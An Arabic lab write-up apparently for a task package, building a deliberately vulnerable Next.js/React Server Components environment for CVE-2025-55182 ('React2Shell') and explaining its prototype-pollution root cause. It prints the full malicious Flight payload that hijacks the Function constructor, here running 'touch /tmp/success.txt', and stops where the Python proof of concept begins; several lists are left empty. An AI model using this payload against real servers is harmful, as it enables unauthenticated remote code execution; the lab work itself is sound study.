
المعروف أيضًا باسم React2Shell
الأقسام المطلوبة وفقًا لإرشادات المهمة مُعلَّمة بعلامة “(مطلوب)”.
تستخدم هذه البيئة ملف Dockerfile مخصصًا مبنيًا على صورة Node.js Alpine الرسمية.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
يبني ملف Dockerfile بيئة هشّة لـ React Server Components (RSC) و Next.js App Router.
تقوم البيئة بتثبيت إصدارات هشّة من:
يعمل الخادم الهش في وضع التطوير باستخدام npm run dev.
يعمل الخادم الهش في وضع التطوير باستخدام npm run dev.
تعمل البيئة وفق البنية التالية:
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
يرسل المهاجم طلب multipart/form-data مصممًا بعناية إلى تطبيق Next.js الهش.
تستغل الحمولة الخبيثة عملية إلغاء تسلسل بروتوكول React Flight.
يستخدم التطبيق الهش بنية Next.js App Router.
تتم معالجة الطلب عبر خط أنابيب React Server Components.
يُخزَّن الكود المصدري للتطبيق داخل دليل src/app/.
src/
└── app/
├── layout.js
└── page.js
يعرّف ملف layout.js التخطيط الجذري المطلوب لبنية App Router ويُهيئ بيئة React Server Components.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
يعرّف ملف page.js الصفحة الجذرية المعروضة في / ويعرض رسالة بسيطة تشير إلى أن الخادم الهش يعمل.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
تتم إدارة تبعيات المشروع وسكربتات التشغيل عبر ملف package.json.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
يعرّف هذا الملف إصدارات هشّة من:
يتم تنفيذ التطبيق الهش باستخدام:
"scripts": {
"dev": "next dev"
}
يتم تشغيل الخادم عبر:
npm run dev
وهو ما يشغّل خادم تطوير Next.js الهش على المنفذ 3000.
يقوم بروتوكول Flight بإلغاء تسلسل كائنات React المعقدة مثل:
تحدث الثغرة أثناء عملية إلغاء التسلسل هذه.
تعالج بيئة تشغيل React حمولات Flight التي يتحكم فيها المهاجم.
يسمح التنقل غير الآمن عبر الخصائص والوصول إلى النموذج الأولي للمهاجمين في النهاية باختطاف مُنشئ الدالة Function.
بعد الاستغلال الناجح، يتم تنفيذ كود JavaScript عشوائي داخل بيئة خادم Node.js.
يؤدي هذا إلى تنفيذ كود عن بُعد (RCE).
| المكوّن | الإصدار |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
| react-server-dom-webpack | 19.0.0-rc |
تستخدم البيئة تطبيقات هشّة من React Server Components وبروتوكول Flight.
CVE-2025-55182، المعروفة أيضًا باسم React2Shell، هي ثغرة حرجة لتنفيذ الكود عن بُعد (RCE) تؤثر على React Server Components وبروتوكول React Flight.
تحدث الثغرة أثناء عملية إلغاء تسلسل حمولات بروتوكول Flight التي يتحكم فيها المهاجم.
تسمح المشكلة للمهاجمين بـ:
تعتبر الثغرة خطيرة بشكل خاص لأن الاستغلال يمكن أن يحدث دون مصادقة باستخدام طلب HTTP واحد مصمم بعناية.
التطبيقات التي تستخدم إصدارات هشّة من React Server Components وإعدادات Next.js App Router معرّضة مباشرة للخطر.
السبب الجذري للثغرة هو التعامل غير الآمن مع مراجع الكائنات التي يتحكم فيها المهاجم أثناء إلغاء تسلسل بروتوكول Flight.
يستخدم React Flight داخليًا سلاسل مراجع خاصة مثل:
$@0
$B1337
$1:__proto__:then
يتم حل هذه المراجع بشكل تكراري أثناء إلغاء التسلسل.
ينفذ المنطق الهش تنقلًا عبر الخصائص مشابهًا لما يلي:
value[path[i]]
دون التحقق مما إذا كانت الخاصية تنتمي إلى الكائن نفسه.
ونتيجة لذلك، يمكن للمهاجمين الوصول إلى خصائص خطيرة في سلسلة النموذج الأولي في JavaScript مثل:
__proto__
constructor
prototype
يسمح هذا في النهاية بتلويث النموذج الأولي واختطاف مُنشئ الدالة Function.
ينشئ المهاجم أولاً كائن chunk مزيفًا لـ React.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
الحقل الحرج هو:
"status": "resolved_model"
تثق بيئة تشغيل React بشكل خاطئ في هذا الحقل وتتعامل مع الكائن الذي يتحكم فيه المهاجم ككائن chunk داخلي شرعي.
الحمولة:
$1:__proto__:then
تجعل أداة إلغاء التسلسل تتنقل عبر سلسلة النموذج الأولي في JavaScript.
نظرًا لأن الكود الهش لا يتحقق من الخصائص الخطيرة، يحصل المهاجم على وصول إلى:
Chunk.prototype.then
يحوّل هذا كائن chunk المزيف إلى كائن thenable.
الحمولة:
$1:constructor:constructor
تُحل في النهاية إلى:
Function
يستبدل هذا:
response._formData.get
بمُنشئ الدالة Function العام في JavaScript.
ونتيجة لذلك:
Function(attacker_controlled_payload)
يصبح ممكنًا.
الحمولة:
$B1337
تدفع محلل React Flight إلى منطق تحليل Blob.
خلال هذه العملية:
response._formData.get(...)
يتم تنفيذه.
ومع ذلك، قام المهاجم بالفعل باستبدال هذه الدالة بمُنشئ الدالة Function العام.
يؤدي هذا أخيرًا إلى تنفيذ JavaScript عشوائي داخل بيئة تشغيل Node.js.
تحدث عملية الاستغلال بالترتيب التالي:
Attacker Request
↓
Flight Payload Parsing
↓
Fake Chunk Creation
↓
Prototype Pollution
↓
Function Constructor Hijacking
↓
Blob Parsing Trigger
↓
Promise Resolution
↓
Remote Code Execution
يرسل المهاجم أولاً طلب Flight متعدد الأجزاء مصممًا بعناية.
يقوم الخادم الهش بإلغاء تسلسل الحمولة الخبيثة ويحل المراجع التي يتحكم فيها المهاجم بشكل تكراري.
يسمح التنقل غير الآمن عبر النموذج الأولي للمهاجم في النهاية باختطاف مُنشئ الدالة Function.
أثناء حل الوعود (Promise) وتحليل Blob، يتم تنفيذ كود JavaScript عشوائي.
يسمح الاستغلال الناجح للمهاجمين بتنفيذ كود JavaScript عشوائي داخل بيئة خادم Node.js.
في هذه البيئة، ينفذ الاستغلال:
touch /tmp/success.txt
يتم التحقق من نجاح الاستغلال عند وجود الملف التالي داخل الحاوية:
/tmp/success.txt
في البيئات الحقيقية، يمكن للمهاجمين:
تعتبر الثغرة خطيرة بشكل خاص لأنها تؤثر على البنية الداخلية لإطار عمل React بدلاً من منطق الأعمال الخاص بالتطبيق.
وهذا يعني أن عددًا كبيرًا من التطبيقات قد يصبح هشًا بمجرد استخدام إصدارات متأثرة من الإطار.
تمت كتابة إثبات المفهوم (PoC) بلغة Python.
يرسل الاستغلال طلب multipart/form-data خبيثًا مباشرة إلى تطبيق Next.js الهش.
ينفذ PoC الإجراءات التالية: